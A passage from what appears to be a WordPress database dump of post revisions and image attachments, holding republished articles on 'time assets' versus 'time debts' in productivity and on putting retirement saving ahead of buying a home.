cost you additional time in the future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Email is a time debt that most people participate in each day. If you send an email now, you are committing to reading the reply or responding with an additional message later. Every email you send creates a small debt that you have to pay back at a later time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not to say that all time debts are bad. Perhaps you enjoy serving on your school committee or volunteering with a local organization. However, when you make these commitments, you are also creating a time debt that you will have to pay at some point. Sometimes the debts we commit to are worth sacrificing for, many times they are not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"title_1\">Time Assets in Real Life</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I wrote down a short list of time assets and time debts for my business. Here are a few I came up with…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":6273} -->\n<figure class=\"wp-block-image\"><img src=\"https://jamesclear.com/wp-content/uploads/2014/11/time-assets-debts.jpg\" alt=\"Time Assets Time Debts\" class=\"wp-image-6273\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Assets</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Speaking. I can create a speaking page on my website that answers common questions and qualifies the right kind of people. This could include a descriptive Frequently Asked Questions section or a better sign up form. The goal of the system is to set clear expectations and answer common questions that I usually have to answer via email.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Accounting. By setting clear rules for my bookkeeper and accountant, we can develop a system for automatically tagging certain expenses and transactions each month, which minimizes the need for me to manually approve repeated transactions.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Scheduling. Booking calendar appointments, calls, and interviews requires a lot of email. Using software like&nbsp;ScheduleOnce&nbsp;eliminates this problem and lets people choose from a pre-selected list of available times.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Debts</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Email. The more email I answer, the more email I generate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Comments. I like the comments on my site and I don’t plan on removing them. (I love hearing from you!) But every time I publish an article with a comments section, I’m creating a time debt that I have to pay back by approving and moderating comments.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Interviews. At first, I said yes to every interview that came my way. Today, I typically do 3 to 5 every week. Saying yes to every interview has become a time debt.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Low quality work. If you don’t edit your article now, you’ll have to fix the grammar later. If you write sloppy code now, you’ll have to debug it later. If you create a poor product in the beginning, you’ll have to service customers and process refunds later. Every low-quality piece of work is a time debt that you have to pay back. To quote John Wooden, “If you don’t have time to do it right, when will you have time to do it over?”</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"title_2\">A System For Your Time</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Systems are more important than goals, and Time Assets are a perfect example of why this is true. Each Time Asset that you create is a system that goes to work for you day in and day out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your schedule is filled with Time Debts, then it doesn’t matter how hard you work. Your choices will constantly put you in a productivity hole. However, if you strategically build Time Assets day after day, then you multiply your time exponentially.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Driving a car without a license plate might seem like an extreme way to save time, but it is also a level of strategic thinking that most people never embrace. This isn’t an approach that only works for Steve Jobs. It works for all of us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Time Debts need to be paid. Be careful how you choose them. Time Assets pay you over and over again. Spend more time creating them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://jamesclear.com/time-assets\">click here.</a></p>\n<!-- /wp:paragraph -->','A Different Way of Thinking About Productivity','','inherit','closed','closed','','4046-revision-v1','','','2024-06-08 00:10:49','2024-06-08 00:10:49','',4046,'https://smartinsurance.tips/?p=4134',0,'revision','',0),(4135,1,'2024-06-08 00:11:34','2024-06-08 00:11:34','','Untitled-5','','inherit','closed','closed','','untitled-5-4','','','2024-06-08 00:11:34','2024-06-08 00:11:34','',4054,'http://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-5.png',0,'attachment','image/png',0),(4136,1,'2024-06-08 00:11:38','2024-06-08 00:11:38','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4135,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-5-1024x1024.png\" alt=\"\" class=\"wp-image-4135\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>KEY POINTS</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Although there are benefits to buying a home, it\'s more important to make sure you\'re saving your money for retirement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can build a lot of wealth by investing your money over a long period of time, which can make up for not being able to build equity in a home.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Saving up to&nbsp;buy a home&nbsp;and retire comfortably would perhaps be easier to do if we all earned six-figure incomes or had ways to magically minimize our ongoing expenses. But alas, that isn\'t the case. And so you may find yourself torn between your desire to own a home and your desire to set yourself up for a financially secure retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In many cases, it&nbsp;<em>is</em>&nbsp;possible to save for retirement and a home down payment at the same time. But what if money is so tight that you\'re forced to choose?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In that case, your best bet is to focus on funding an&nbsp;IRA&nbsp;or 401(k), and then work on saving for a home once your financial situation changes. Here\'s why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"you-can\'t-afford-to-not-have-retirement-savings\">You can\'t afford to not have retirement savings</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You need a place to live -- there\'s no question about that. But your home does not have to be one you own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, you absolutely need savings to pay your bills in retirement. Social Security might pay you a decent-sized monthly benefit in retirement, but in many cases, it won\'t be enough to cover your expenses in full. So you\'ll need to prioritize your IRA or 401(k), or whatever account you\'re saving in, to ensure you don\'t wind up cash-strapped as a retiree.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"you-might-build-more-wealth-by-investing-anyway\">You might build more wealth by investing anyway</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One financial benefit of owning a home is getting to build&nbsp;home equity&nbsp;in a place of your own. If your home gains enough value, you might then be able to sell it at a nice profit. But if you invest your money for many years, you might set yourself up for an even bigger profit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Real Estate Witch says that U.S. home prices appreciate 2% to 3% in value per year, on average. But the stock market has delivered an average return of 10% a year before inflation over the past five decades if we go by the performance of the S&amp;P 500 index.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, let\'s say you buy a home for $300,000 and hold it for 30 years. If it appreciates at a rate of 3% a year, it will be worth around $728,000 when you go to sell it. So you\'re looking at what could be a $428,000 profit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, let\'s imagine that instead of saving your money to buy that $300,000 home and keep up with its&nbsp;mortgage loan, you instead put $500 a month into an IRA over a 30-year period. If your investments deliver an average annual 10% return, you\'ll be looking at a balance of about $987,000. When we subtract the $180,000 in contributions made over 30 years ($500 a month x 360 months), that\'s a gain of $807,000, which is almost twice the profit you\'d be looking at on a home in the aforementioned example.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In an ideal world, you\'d be able to sock money away for a home purchase while also consistently funding a retirement plan. But if you have to choose, opt for the latter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You don\'t want to risk struggling financially for many years because you used all of your money to buy a home. And remember, you could always prioritize your nest egg but work on buying a home a bit later in life as financial circumstances allow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.fool.com/the-ascent/buying-stocks/articles/stuck-between-saving-for-a-house-or-retirement-this-is-what-you-should-do/\">click here.</a></p>\n<!-- /wp:paragraph -->','Stuck Between Saving for a House or Retirement? This Is What You Should Do','','inherit','closed','closed','','4054-revision-v1','','','2024-06-08 00:11:38','2024-06-08 00:11:38','',4054,'https://smartinsurance.tips/?p=4136',0,'revision','',0),(4137,1,'2024-06-08 00:12:27','2024-06-08 00:12:27','','Untitled-7','','inherit','closed','closed','','untitled-7-3','','','2024-06-08 00:12:27','2024-06-08 00:12:27','',4057,'http://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-7.png',0,'attachment','image/png',0),